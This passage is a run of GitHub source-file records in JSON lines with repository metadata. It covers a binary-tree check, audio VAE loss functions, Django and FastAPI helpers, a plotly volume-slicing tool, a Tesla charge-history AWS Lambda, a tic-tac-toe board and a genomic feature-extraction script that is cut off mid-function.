queue.popleft()\n if r1.val != r2. val:\n return False\n if r1.left and r2.right:\n queue.append((r1.left,r2.right))\n elif not r1.left and r2.right or r1.left and not r2.right:\n return False\n if r2.left and r1.right:\n queue.append((r1.right,r2.left))\n elif not r1.right and r2.left or r1.right and not r2.left:\n return False\n return True\n \n\n ","repo_name":"quake0day/BugFree","sub_path":"101-Symmetric-Tree/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35211089446","text":"import torch \nfrom torchaudio.transforms import Spectrogram,MelSpectrogram\nimport torch.nn as nn\n\nfrom utils.utilities import safe_log\n\n#################\n# Loss Functions\n#################\n\n#################\n# Waveform VAEs losses\n#################\n\n# Note the below calculates the kl divergence per waveform.\ndef compute_kld(mu, logvar):\n\n mu = torch.flatten(mu, start_dim=1)\n logvar = torch.flatten(logvar, start_dim=1)\n\n kld_loss = torch.mean(-0.5 * torch.sum(1 + logvar - mu ** 2 - logvar.exp(), dim = 1), dim = 0)\n\n return kld_loss\n\nclass spectral_distances(nn.Module):\n def __init__(self,stft_scales=[2048, 1024, 512, 256, 128], mel_scales=[2048, 1024], spec_power=1, mel_dist=True, log_dist=0, sr=16000, device=\"cpu\"):\n super(spectral_distances, self).__init__()\n self.stft_scales = stft_scales\n self.mel_scales = mel_scales\n self.mel_dist = mel_dist\n self.log_dist = log_dist\n T_spec = []\n for scale in stft_scales:\n T_spec.append(Spectrogram(n_fft=scale,hop_length=scale//4,window_fn=torch.hann_window,power=spec_power).to(device))\n self.T_spec = T_spec\n if mel_dist:\n # print(\"\\n*** training with MelSpectrogram distance\")\n T_mel = []\n for scale in mel_scales:\n T_mel.append(MelSpectrogram(n_fft=scale,hop_length=scale//4,window_fn=torch.hann_window,sample_rate=sr,f_min=50.,n_mels=scale//4,power=spec_power).to(device))\n self.T_mel = T_mel\n \n def forward(self,x_inp,x_tar):\n loss = 0\n n_scales = 0\n for i,scale in enumerate(self.stft_scales):\n S_inp,S_tar = self.T_spec[i](x_inp),self.T_spec[i](x_tar)\n stft_dist = (S_inp-S_tar).abs().mean()\n loss = loss+stft_dist\n n_scales += 1\n if self.log_dist>0:\n loss = loss+(safe_log(S_inp)-safe_log(S_tar)).abs().mean()*self.log_dist\n n_scales += self.log_dist\n if self.mel_dist:\n for i,scale in enumerate(self.mel_scales):\n M_inp,M_tar = self.T_mel[i](x_inp),self.T_mel[i](x_tar)\n mel_dist = (M_inp-M_tar).abs().mean()\n loss = loss+mel_dist\n n_scales += 1\n if self.log_dist>0:\n loss = loss+(safe_log(M_inp)-safe_log(M_tar)).abs().mean()*self.log_dist\n n_scales += self.log_dist\n return loss/n_scales\n\ndef envelope_distance(x_inp,x_tar,n_fft=1024,log=True):\n\n # Reshapes, but are these really needed [bs, n_grains, num_samples] --> [bs*n_grains, num_samples]\n x_inp = x_inp.reshape(x_inp.shape[0]*x_inp.shape[1], x_inp.shape[2])\n x_tar = x_tar.reshape(x_tar.shape[0]*x_tar.shape[1], x_tar.shape[2])\n\n env_inp = torch.stft(x_inp, n_fft, hop_length=n_fft//4, onesided=True, return_complex=False)\n env_inp = torch.mean(env_inp[:,:,:,0]**2+env_inp[:,:,:,1]**2,1)\n env_tar = torch.stft(x_tar, n_fft, hop_length=n_fft//4, onesided=True, return_complex=False)\n env_tar = torch.mean(env_tar[:,:,:,0]**2+env_tar[:,:,:,1]**2,1)\n if log:\n env_inp,env_tar = safe_log(env_inp),safe_log(env_tar)\n return (env_inp-env_tar).abs().mean()\n\n############\n# Others\n############\n\ndef calc_reconstruction_loss(target, prediction):\n\n # MSE\n error = target - prediction\n reconstruction_loss = torch.mean(error**2)\n\n return reconstruction_loss\n\n# This calculates the kl divergence \ndef calc_kl_loss(mu, log_variance):\n\n # KL Divergence between predicted gaussian distribution and standard guassian distribution N(0,1)\n kl_loss = - 0.5 * torch.sum(1 + log_variance - torch.square(mu) - torch.exp(log_variance))\n\n return kl_loss\n\n\n\ndef calc_combined_loss(target, prediction, mu, log_variance, reconstruction_loss_weight):\n\n reconstruction_loss = calc_reconstruction_loss(target, prediction)\n kl_loss = calc_kl_loss(mu, log_variance)\n combined_loss = (reconstruction_loss_weight * reconstruction_loss) + kl_loss\n\n return combined_loss, kl_loss, reconstruction_loss\n\ndef compute_losses(self, batch, beta):\n audio,labels = batch\n audio = audio.to(self.device)\n # forward\n audio_output,encoder_outputs = self.forward(audio, sampling=True)\n # compute losses\n spec_loss = self.spec_dist(audio_output,audio)\n if beta>0:\n kld_loss = compute_kld(encoder_outputs[\"mu\"],encoder_outputs[\"logvar\"])*beta\n else:\n kld_loss = 0\n if self.env_dist>0:\n env_loss = envelope_distance(audio_output,audio,n_fft=1024,log=True)*self.env_dist\n else:\n env_loss = 0\n return {\"spec_loss\":spec_loss,\"kld_loss\":kld_loss,\"env_loss\":env_loss}","repo_name":"aaron-dees/neuralGranularSynthesis","sub_path":"models/loss_functions.py","file_name":"loss_functions.py","file_ext":"py","file_size_in_byte":4659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11972986377","text":"from cart.models import Cart\nfrom user.models import MyUser\nfrom newadmin.models import category\nfrom user.models import whishlist\n\ndef carts(request):\n if request.user.is_authenticated:\n cart_items = Cart.objects.filter(username = request.user).count()\n print(cart_items)\n return {'CART_ITEMS':cart_items }\n elif request.session.has_key('guest_user'):\n guest_user = request.session['guest_user']\n cart_items = Cart.objects.filter(guest_token = guest_user).count()\n return{'CART_ITEMS':cart_items}\n\n else:\n return{'CART_ITEMS':0}\n\n\ndef wish_list(request):\n if request.user.is_authenticated:\n whish_items = whishlist.objects.filter(user_name = request.user).count()\n return{'Whish_items': whish_items}\n else:\n return{'Whish_items':0}\n\ndef cat(request):\n cats = category.objects.all()\n return {'cat': cats}\n\n\n","repo_name":"mejokkurian/ecommerce-website","sub_path":"cart/context_processor.py","file_name":"context_processor.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6648231066","text":"from functools import lru_cache\n\nfrom typing import Optional\n\nfrom fastapi import Depends, HTTPException, status\nfrom sqlalchemy import select, text\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom db import get_async_session_app\n\nfrom .base import BaseService\nfrom models import Issue\n\n\nclass IssueService(BaseService):\n\n async def get_all_by_date(self, *args) -> list[Issue]:\n order_attribute, order_direction, created_at = args\n query = select(Issue).where(Issue.created_at.like(f'%{created_at}%'))\n selected_data = (await self.db_session.execute(query)).scalars().all()\n ordered_data = self.get_ordered_data(selected_data, order_attribute, order_direction)\n return ordered_data\n\n async def get_item_by_id(self, pk: int) -> Issue:\n query = select(Issue).where(Issue.id == pk)\n data = (await self.db_session.execute(query)).scalar()\n if not data:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND)\n return data\n\n async def make_comment(self, pk: int, comment: Optional[str]) -> Issue:\n current_issue = await self.get_item_by_id(pk)\n current_issue.comment = comment\n await self.db_session.commit()\n return current_issue\n\n\n@lru_cache\ndef get_issue_service(db_session: AsyncSession = Depends(get_async_session_app)) -> IssueService:\n return IssueService(db_session)\n","repo_name":"EvgeniyBugaiov/vodomat_api","sub_path":"src/services/issue.py","file_name":"issue.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4674612942","text":"from tqdm import tqdm\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport os\nimport numpy as np\nimport plotly.graph_objects as go\n\nproperties = {\n \"density\" : {\"cmap\": 'Blues_r', \"pos\": 0, \"vmin\": 20, \"vmax\": 18020},\n \"temp\" : {\"cmap\": 'hot', \"pos\": 1, \"vmin\": 72.16, \"vmax\": 30350},\n \"ab_H2\" : {\"cmap\": 'bone', \"pos\": 8, \"vmin\": 1.76e-14, \"vmax\": 6.911e-05},\n \"ab_H-\": {\"cmap\": 'pink', \"pos\": 7, \"vmin\": 1e-99, \"vmax\":1.629e-07},\n \"ab_H2+\": {\"cmap\": 'copper', \"pos\": 9, \"vmin\": 1e-99, \"vmax\": 1.691e-08}\n }\n\n\ndef GraphCreator(args):\n filereader = open(\"./Multifield/ExtractedCompleteData/\" + args[0], \"r\")\n timestep = args[0].split(\".\")[1]\n prop_name = args[1]\n planeEq = args[2]\n norm_min, norm_max = args[3]\n\n selected_property = []\n\n vmin = 100000007\n vmax = -11111111\n for lines in tqdm(range(0, 600*248*248)):\n d = filereader.readline()\n props = d.split(\" \")\n selected_property.append(float(props[properties[prop_name][\"pos\"]]))\n if(float(props[properties[prop_name][\"pos\"]]) < vmin): vmin = float(props[properties[prop_name][\"pos\"]])\n if(float(props[properties[prop_name][\"pos\"]]) > vmax): vmax = float(props[properties[prop_name][\"pos\"]])\n\n print(vmin, vmax)\n\n #TO perform Axis Aligned slicing -> Extract plane Y=Slicenum. \n #For arbitrary plane, identify the z values that fall on this plane\n #Plane: Ax + By + Cz = D\n #For a given (A,B,C,D),(x,y) we can calculate the y value as:\n # y = (D - Ax - Cz)/B\n # We will colormap according to the values present at (x,y,z)\n\n X_len = 600\n Z_len = 248\n Y_coords = [[0 for i in range(Z_len)] for i in range(X_len)] #shape = (X_len, Z_len)\n X_coords, Z_coords = np.mgrid[0:X_len, 0:Z_len]\n\n val_dict = dict()\n\n frames = []\n\n k_change = planeEq[3]/10\n for kc in range(norm_min, norm_max):\n temp_planeEq = planeEq.copy()\n temp_planeEq[3] += kc*k_change\n\n temp_Y_coords = Y_coords.copy()\n\n for i in range(X_len):\n for j in range(Z_len):\n if(temp_planeEq[1] == 0): \n temp_Y_coords[i][j] = j # Handles parallel to Yaxis condition\n else: \n temp_Y_coords[i][j] = (int)((temp_planeEq[3] - temp_planeEq[0]*i -temp_planeEq[2]*j)/temp_planeEq[1])\n \n #Will store the property values and be used for colormapping\n prop_values = [[0 for i in range(Z_len)] for i in range(X_len)] \n for i in range(X_len):\n for j in range(Z_len):\n if(temp_Y_coords[i][j] < 0 or temp_Y_coords[i][j] >=248):\n prop_values[i][j] = properties[prop_name][\"vmin\"]\n else:\n prop_values[i][j] = selected_property[X_len*Z_len*j + 600*temp_Y_coords[i][j] + i]\n \n val_dict[kc] = dict(coord = temp_Y_coords, value = prop_values)\n \n frame = go.Frame(data = go.Surface(\n x = X_coords,\n y = Z_coords,\n z = val_dict[kc][\"coord\"],\n surfacecolor = val_dict[kc][\"value\"],\n coloraxis='coloraxis',\n cmin = properties[prop_name][\"vmin\"],\n cmax = properties[prop_name][\"vmax\"]\n ),\n name = str(kc))\n frames.append(frame)\n \n fig = go.Figure(frames=frames) \n fig.add_trace(\n go.Surface(\n x = X_coords,\n y = Z_coords,\n z = val_dict[norm_min][\"coord\"],\n surfacecolor = val_dict[norm_min][\"value\"],\n coloraxis='coloraxis',\n cmin = properties[prop_name][\"vmin\"],\n cmax = properties[prop_name][\"vmax\"]\n )\n )\n fig.update_layout(\n title_text = \"Arbitrary Volume Slicing \" + str(planeEq[0]) + \"x + \" + str(planeEq[1]) + \"y +\" + str(planeEq[2]) + \"z = k\" ,\n coloraxis=dict(\n colorscale=properties[prop_name][\"cmap\"],\n )\n )\n \n def frame_args(duration):\n return {\n \"frame\": {\"duration\": duration},\n \"mode\": \"immediate\",\n \"fromcurrent\": True,\n \"transition\": {\"duration\": duration, \"easing\": \"linear\"},\n }\n\n sliders = [\n {\n \"pad\": {\"b\": 10, \"t\": 60},\n \"len\": 0.9,\n \"x\": 0.1,\n \"y\": 0,\n \"steps\": [\n {\n \"args\": [[f.name], frame_args(0)],\n \"label\": str(k+norm_min),\n \"method\": \"animate\",\n }\n for k, f in enumerate(fig.frames)\n ],\n }\n ]\n fig.update_layout(\n scene=dict(\n xaxis = dict(range=[0,600], title=\"X position\"),\n yaxis = dict(range=[0,248], title=\"Z position\"),\n zaxis = dict(range=[0,248], title=\"Y position\")),\n width = 900,\n height = 900,\n updatemenus = [\n {\n \"buttons\": [\n {\n \"args\": [None, frame_args(50)],\n \"label\": \"▶\", # play symbol\n \"method\": \"animate\",\n },\n {\n \"args\": [[None], frame_args(0)],\n \"label\": \"◼\", # pause symbol\n \"method\": \"animate\",\n },\n ],\n \"direction\": \"left\",\n \"pad\": {\"r\": 10, \"t\": 70},\n \"type\": \"buttons\",\n \"x\": 0.1,\n \"y\": 0,\n }\n ],\n sliders=sliders\n )\n fig.show()\n\ndef SliceExtractor(timestep, prop_name, planeEq, minLim, maxLim): \n arguments = []\n tsep = \"\"\n if(timestep < 100): tstep = \"0\" + str(timestep)\n else: tstep = str(timestep) \n filename = \"multifield.0\" + tstep + \".txt\"\n \n temp_list = []\n temp_list.append(filename)\n temp_list.append(prop_name)\n temp_list.append(planeEq)\n temp_list.append([minLim, maxLim])\n\n arguments.append(temp_list)\n\n for args in arguments:\n GraphCreator(args)\n\ndef crossproduct(A, B):\n x = A[1]*B[2] - A[2]*B[1]\n y = - A[0]*B[2] + A[2]*B[0]\n z = A[0]*B[1] - A[1]*B[0]\n return [x,y,z]\n\ndef sub(A,B):\n return [A[0]-B[0], A[1]-B[1], A[2]-B[2]]\n\ndef GetPlaneEq(Point1, Point2, Point3):\n B_A = sub(Point2, Point1)\n C_A = sub(Point3, Point1)\n\n CP = crossproduct(B_A, C_A)\n\n k = lambda a : a[0]*Point1[0] + a[1]*Point1[1] + a[2]*Point1[2]\n D = k(CP)\n CP.append(D)\n return CP\n\n# Example 1 : Plane Parallel to Y axis\nPoint1 = [0,0,247]\nPoint2 = [0,247,247]\nPoint3 = [600,247,0]\nplaneEq_1 = GetPlaneEq(Point1, Point2, Point3)\n\n# print(planeEq_1)\n\n# Example 2 : Completely Arbitrary Plane\nPoint1 = [0,50,0]\nPoint2 = [0,150,247]\nPoint3 = [590,50,0]\nplaneEq_2 = GetPlaneEq(Point1, Point2, Point3)\n\nprint(planeEq_2)\n\n# Example 3: Plane Parallel to XZ plane\nPoint1 = [0,100,0]\nPoint2 = [0,100,247]\nPoint3 = [600,100,247]\nplaneEq_3 = GetPlaneEq(Point1, Point2, Point3)\n\n# print(planeEq_3)\n\nSliceExtractor(60, \"density\", planeEq_2, -10, 20)\n# SliceExtractor(60, \"density\", planeEq_1, -10, 20)","repo_name":"agam-kashyap/Data-Visualisation-2","sub_path":"SliceExtract.py","file_name":"SliceExtract.py","file_ext":"py","file_size_in_byte":7364,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39089259687","text":"import teslapy\nimport boto3\nimport json\nimport time\nimport os\nimport logging\n\nemail_param = os.environ['EMAIL_SSM_PARAM_NAME']\nrefresh_token_param = os.environ['REFRESH_TOKEN_SSM_PARAM'] \nbucket = os.environ['BUCKET_NAME']\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\ns3 = boto3.resource('s3')\n\ndef db_load():\n logger.info('loading cache from s3')\n cache_obj = s3.Object(bucket, 'cache.json')\n response = cache_obj.get()\n body = response.get('Body').read()\n logger.info(f'loaded cache from s3: {body}')\n return json.loads(body)\n \ndef db_dump(cache):\n logger.info('saving cache to s3') \n cache_obj = s3.Object(bucket, 'cache.json')\n cache_obj.put(Body=(bytes(json.dumps(cache).encode('UTF-8'))))\n logger.info('saved cache to s3')\n\ndef handler(event, context):\n ssm_client = boto3.client('ssm')\n email = ssm_client.get_parameter(Name=email_param)['Parameter']['Value']\n refresh_token = ssm_client.get_parameter(Name=refresh_token_param)['Parameter']['Value']\n\n with teslapy.Tesla(email, cache_loader=db_load, cache_dumper=db_dump) as tesla:\n logger.info('refreshing tesla auth')\n try:\n tesla.refresh_token(refresh_token=refresh_token)\n except:\n logger.error('failed to refresh tesla auth')\n exit(1)\n \n logger.info('getting charge history')\n try:\n vehicle = tesla.vehicle_list()[0]\n charge_history = vehicle.get_charge_history()\n except:\n logger.error('failed to retrieve charge history')\n\n logger.info('storing data in s3')\n s3_object_name = f'charge_history/{int(time.time())}_charge_data.json'\n s3_object = s3.Object(bucket, s3_object_name)\n s3_object.put(Body=(bytes(json.dumps(charge_history).encode('UTF-8'))))\n logger.info(f'stored data in {s3_object_name} in bucket {bucket}')\n","repo_name":"cvanlaw/tesla-data-lambda","sub_path":"lambda/src/export_history.py","file_name":"export_history.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35412955051","text":"#!/usr/bin/env python3\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nnp.random.seed(5)\nstudent_grades = np.random.normal(68, 15, 50)\n\nfig, ax = plt.subplots()\nfig.set_figheight(5)\nfig.set_figwidth(7.5)\nax.hist(student_grades, bins=range(0, 110, 10), linewidth=0.5, edgecolor=\"black\")\nax.set(xlim=(0, 100), ylim=(0, 30), xticks=np.arange(0,100,10))\nplt.title(\"Project A\")\nplt.xlabel(\"Grades\")\nplt.ylabel(\"Number of Students\")\n\nplt.show()\n","repo_name":"IHansen225/holbertonschool-machine_learning","sub_path":"math/plotting/4-frequency.py","file_name":"4-frequency.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5171351037","text":"\"\"\"\nTic-tac-toe board implementation.\n\"\"\"\n\n\nclass TicTacToeBoard:\n \"\"\"\n Tic-tac-toe board with basic play functionality.\n\n Attributes:\n player_1_mark: A string representing the first player's symbol.\n player_2_mark: A string representing the second player's symbol.\n blank_mark: A string representing a blank square symbol.\n _board: A list of lists representing the squares of the board.\n _next_move: A string representing the symbol of the next player to\n move.\n \"\"\"\n\n # Define class attributes for each player's symbol and for a blank square,\n # in case we ever want to change these later.\n player_1_mark = \"X\"\n player_2_mark = \"O\"\n blank_mark = \" \"\n\n def __init__(self):\n \"\"\"\n Create a new, empty TicTacToeBoard.\n \"\"\"\n # Writing the following ensures that each square of the board is\n # independent from each other. Writing something like\n # [[\" \"] * 3] * 3\n # will cause the board to be made up of copies of the same cell,\n # resulting in strange behavior.\n self._board = [[self.blank_mark for _ in range(3)] for _ in range(3)]\n self._next_move = self.player_1_mark\n\n def next_move(self):\n \"\"\"\n Return the symbol (X or O) of the next player to move.\n\n Returns:\n A string representing the next player's mark (X or O).\n \"\"\"\n return self._next_move\n\n def mark(self, row, col):\n \"\"\"\n If possible, mark a given square of the board with the next player's\n move.\n\n Given a row and column index (each 0, 1, or 2), mark the corresponding\n square of the board with the next player's move. Assume that each index\n is within the appropriate bounds. If a player's mark already exists at\n the requested square, raise an error instead.\n\n Args:\n row: An int representing the index of the row of the board to mark.\n col: An int representing the index of the column of the board to\n mark.\n\n Raises:\n ValueError: if the requested square already has a player's mark.\n \"\"\"\n if self.get_square(row, col) != self.blank_mark:\n raise ValueError\n self._board[row][col] = self._next_move\n\n # Change the next player to move here. An alternative would be to\n # calculate the next player to move based on the number of X's and O's\n # on the board, but this is easier.\n self._flip_next_move()\n\n def _flip_next_move(self):\n \"\"\"\n Change the next player to move.\n \"\"\"\n if self._next_move == self.player_1_mark:\n self._next_move = self.player_2_mark\n else:\n self._next_move = self.player_1_mark\n\n def _check_row_win(self, player):\n \"\"\"\n Check whether the given player has won along a row of the board.\n\n Args:\n player: A string representing the player's symbol (X or O).\n\n Returns:\n True if player has won along any row of the board and False\n otherwise.\n \"\"\"\n for row in range(3):\n if self._board[row][0] == self._board[row][1] \\\n == self._board[row][2] == player:\n return True\n return False\n\n def _check_col_win(self, player):\n \"\"\"\n Check whether the given player has won along a column of the board.\n\n Args:\n player: A string representing the player's symbol (X or O).\n\n Returns:\n True if player has won along any column of the board and False\n otherwise.\n \"\"\"\n for col in range(3):\n if self._board[0][col] == self._board[1][col] \\\n == self._board[2][col] == player:\n return True\n return False\n\n def _check_diag_win(self, player):\n \"\"\"\n Check whether the given player has won along a diagonal of the board.\n\n Args:\n player: A string representing the player's symbol (X or O).\n\n Returns:\n True if player has won along a diagonal of the board and False\n otherwise.\n \"\"\"\n # We use trace to refer to the diagonal from the upper left to the lower\n # right of the board.\n trace_win = True\n for i in range(3):\n if self._board[i][i] != player:\n trace_win = False\n break\n # We use trace to refer to the diagonal from the upper right to the\n # lower left of the board.\n cross_win = True\n for i in range(3):\n if self._board[i][2 - i] != player:\n cross_win = False\n break\n return trace_win or cross_win\n\n def check_win(self, player):\n \"\"\"\n Check that a given player has won (has three in a row) anywhere on the\n board.\n\n Args:\n player: A string representing the player's symbol (X or O).\n\n Returns:\n True if player has won and False otherwise.\n \"\"\"\n return (self._check_row_win(player) or self._check_col_win(player)\n or self._check_diag_win(player))\n\n def get_square(self, row, col):\n \"\"\"\n Return the mark at the given square of the board.\n\n Args:\n row: An int representing the index of the row of the board to get.\n col: An int representing the index of the column of the board to\n get.\n\n Returns:\n A string representing the contents of the given square (X, O, or a\n space).\n \"\"\"\n return self._board[row][col]\n\n def __repr__(self):\n \"\"\"\n Return a string representing the contents of the board.\n \"\"\"\n row_divider = \"+-+-+-+\"\n lines = [row_divider]\n for i in range(3):\n row = f\"|{'|'.join(self._board[i])}|\"\n lines.append(row)\n lines.append(row_divider)\n return \"\\n\".join(lines)\n","repo_name":"olincollege/softdes-open","sub_path":"assignments/6-software-architecture-design/tic_tac_toe_board.py","file_name":"tic_tac_toe_board.py","file_ext":"py","file_size_in_byte":6012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"7023297678","text":"import pandas as pd\nimport numpy as np\nimport pickle\nfrom collections import defaultdict\nimport os.path\nimport glob\nfrom scipy.stats import entropy\nfrom Bio.SeqUtils.ProtParamData import kd\nfrom dnds_func import seq_ns\nfrom aa_chemical_properties import aa_charge, aa_charge_dict, aa_functional_group, aa_functional_group_dict, aa_propensity,\\\n propensity_chou_fasman, aa_volume_group, aa_volume, aa_volume_group_dict, aa_h_bond_donor, aa_h_bond_acceptor\nfrom ext_predictors_codes import sift_codes, polyphen_codes, clinvar_codes\nfrom calc_exac_freq_func import codon_table\nfrom entropy_func import SE_hist, JSD_background, JSD_hist\n\nfrom dsprint.core import POPULATIONS_ANS, POPULATIONS_ACS\nimport dsprint.data as data\n\n\nSIFT_THRESHOLD = 0.05\n\n# Rare SNP thresholds\nMAFT_5 = 0.005\nMAFT_05 = 0.0005\nMAFT_005 = 0.00005\n\npfam_aa_order = ['A', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'K', 'L', 'M', 'N', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'Y']\nAMINO_ACIDS = pfam_aa_order + ['*']\n\nHMM_STATES_FOLDER = snakemake.input.hmm_states_folder\nPROB_DICT = snakemake.input.prob_dict\nOUTPUT_CSV = snakemake.output.output_csv\n\n\ndef ExAC_MAF_features(sites_aa_num, sites_aa_alter_num, maf_list):\n\n d = {}\n\n # avg MAF\n d['avg_maf_all'] = 0 if sites_aa_num == 0 else np.sum(maf_list) / float(sites_aa_num)\n\n # avg MAF of all the altered sites\n d['avg_maf_altered'] = 0 if sites_aa_alter_num == 0 else np.sum(maf_list) / float(sites_aa_alter_num)\n\n bins = [0, 0.001, 0.005, 0.01, 0.02, 0.04, 0.06, 0.08, 0.1, 0.2, 0.5]\n non_zero_maf_lst = np.array(maf_list)[np.nonzero(maf_list)[0].tolist()]\n maf_hist = np.histogram(non_zero_maf_lst, bins)[0]\n\n for i, maf_hist_value in enumerate(maf_hist):\n d['maf_hist_' + str(bins[i]) + '-' + str(bins[i + 1])] = maf_hist_value\n\n return d\n\n\ndef ExAC_population_features(pop_maf_list, pop_maf_syn_list, pop_maf_nonsyn_list):\n\n d = {}\n\n for i in range(len(an_str)):\n # populations total maf avg\n d['maf_' + an_str[i][3:]] = 0 if len(pop_maf_list[i]) == 0 else np.average(pop_maf_list[i])\n\n for i in range(len(an_str)):\n # populations syn maf avg\n d['maf_syn_' + an_str[i][3:]] = 0 if len(pop_maf_syn_list[i]) == 0 else np.average(pop_maf_syn_list[i])\n\n for i in range(len(an_str)):\n # populations non-syn maf avg\n d['maf_nonsyn_' + an_str[i][3:]] = 0 if len(pop_maf_nonsyn_list[i]) == 0 else np.average(pop_maf_nonsyn_list[i])\n\n return d\n\n\ndef ExAC_count_features(sites_aa_num, sites_aa_alter_num, sites_snp_num, sites_snp_alter_num):\n\n d = {}\n\n # Feature: number of alterations - aa level (raw and normalized by total number of matched positions)\n d['alter_num_aa'] = sites_aa_alter_num\n d['alter_num_aa_norm'] = 0 if sites_aa_num == 0 else sites_aa_alter_num / float(sites_aa_num)\n\n # Feature: number of alterations - DNA level (raw and normalized by total number of matched positions)\n d['alter_num_snp'] = sites_snp_alter_num\n d['alter_num_snp_norm'] = 0 if sites_snp_num == 0 else sites_snp_alter_num / float(sites_snp_num)\n\n # Feature: average number of poymorphisms at one site\n d['avg_aa_polymorphisms'] = 0 if sites_aa_alter_num == 0 else sites_poly_aa_num / float(sites_aa_alter_num)\n\n # Feature: fraction of altered sites with more than 1 polymorphism\n d['frac_poly_aa'] = 1 if sites_aa_alter_num == 0 else sites_poly_aa_several / float(sites_aa_alter_num)\n\n return d\n\n\ndef ExAC_rareSNP_features(sites_snp_alter_num, rare_5_num, rare_05_num, rare_005_num):\n\n # Feature: fraction of rare SNPs (0.5%, 0.05%, 0.005%)\n return {\n 'rare_poly_0.5': 0 if sites_snp_alter_num == 0 else rare_5_num / float(sites_snp_alter_num),\n 'rare_poly_0.05': 0 if sites_snp_alter_num == 0 else rare_05_num / float(sites_snp_alter_num),\n 'rare_poly_0.005': 0 if sites_snp_alter_num == 0 else rare_005_num / float(sites_snp_alter_num)\n }\n\n\ndef conservation_features(phastCons_dict, phyloP_dict):\n\n d = {}\n positions = 1, 2, 3 # codon positions\n\n phastCons = np.vstack(phastCons_dict[p] for p in positions)\n phyloP = np.vstack(phyloP_dict[p] for p in positions)\n\n # conservation scores avg for each codon position\n phastCons_mean = np.nanmean(phastCons, axis=1)\n for p in positions:\n d[f'phastCons{p}_avg'] = phastCons_mean[p-1]\n\n phyloP_mean = np.nanmean(phyloP, axis=1)\n for p in positions:\n d[f'phyloP{p}_avg'] = phyloP_mean[p-1]\n\n # Features: conservation scores histograms for each codon position - phastCons\n phastCons_bins = np.concatenate((np.linspace(0, 0.75, 4), np.linspace(0.8, 1.0, 5)), axis=0)\n for p in positions:\n hist, _ = np.histogram(phastCons[p-1, :], phastCons_bins)\n for i, hist_value in enumerate(hist):\n d[f'phastCons{p}_hist_{phastCons_bins[i]}-{phastCons_bins[i+1]}'] = hist_value\n\n # Features: conservation scores histograms for each codon position - phyloP\n phyloP_bins = np.concatenate((np.array([-14, -1]), np.linspace(0, 3, 4), np.linspace(3.5, 6, 6)), axis=0)\n for p in positions:\n hist, _ = np.histogram(phyloP[p-1, :], phyloP_bins)\n for i, hist_value in enumerate(hist):\n d[f'phyloP{p}_hist_{phyloP_bins[i]}-{phyloP_bins[i+1]}'] = hist_value\n\n # Features: histogram of avg in each codon\n phastCons_codons_avg = np.nanmean(phastCons, axis=0)\n hist, _ = np.histogram(phastCons_codons_avg, phastCons_bins)\n for i, hist_value in enumerate(hist):\n d[f'phastCons_codons_hist_{phastCons_bins[i]}-{phastCons_bins[i+1]}'] = hist_value\n\n phyloP_codons_avg0 = np.nanmean(phyloP, axis=0)\n hist, _ = np.histogram(phyloP_codons_avg0, phyloP_bins)\n for i, hist_value in enumerate(hist):\n d[f'phyloP_codons_hist_{phyloP_bins[i]}-{phyloP_bins[i+1]}'] = hist_value\n\n return d\n\n\ndef sub_matrix_features(sub_list, weigted_sub_list, sub_name):\n if len(sub_list) == 0:\n sub_avg = weigted_sub_avg = sub_postivies = sub_negatives = sub_ratio = 1\n else:\n # Feature: BLOSUM62 average and frequency weighted-average\n sub_avg = sum(sub_list) / float(len(sub_list))\n weigted_sub_avg = sum(weigted_sub_list) / float(len(weigted_sub_list))\n\n # Feature: BLOSUM62 count of positives and negatives\n sub_postivies = sum(1 for x in sub_list if x > 0)\n sub_negatives = sum(1 for x in sub_list if x < 0)\n\n # Feature: BLOSUM62 positives/negatives ratio\n if sub_postivies == 0 or sub_negatives == 0:\n sub_ratio = 0\n else:\n sub_ratio = sub_postivies / float(sub_negatives)\n\n return {\n f'{sub_name}_avg': sub_avg,\n f'{sub_name}_avg_weighted': weigted_sub_avg,\n f'{sub_name}_positive_num': sub_postivies,\n f'{sub_name}_negative_num': sub_negatives,\n f'{sub_name}_ratio': sub_ratio\n }\n\n\ndef SIFT_features(sift_scores_list, weighted_sift_scores_list):\n if len(sift_scores_list) > 0:\n # Feature: SIFT average\n sift_avg = np.mean(sift_scores_list)\n\n # Feature: weighted (by frequency) SIFT average\n sift_w_avg = np.mean(weighted_sift_scores_list)\n\n # Feature: SIFT number of deleterious (score <=0.05)\n sift_deleterious_num = sum(1 for x in sift_scores_list if x <= SIFT_THRESHOLD)\n\n # Feature: SIFT number of tolerated (score > 0.05)\n sift_tolerated_num = sum(1 for x in sift_scores_list if x > SIFT_THRESHOLD)\n\n # Feature: deleterious/tolerated ratio\n if sift_tolerated_num == 0 or sift_deleterious_num == 0:\n sift_ratio = 0\n else:\n sift_ratio = sift_deleterious_num / float(sift_tolerated_num)\n\n # Feature: SIFT \"majority-decision\" (deleterious/tolerated)\n if sift_deleterious_num > sift_tolerated_num:\n sift_majority = sift_codes.SIFT_DELETERIOUS.value\n elif sift_tolerated_num > sift_deleterious_num:\n sift_majority = sift_codes.SIFT_TOLERATED.value\n else:\n sift_majority = sift_codes.SIFT_TIE.value\n\n else:\n sift_avg = sift_w_avg = -1\n sift_deleterious_num = 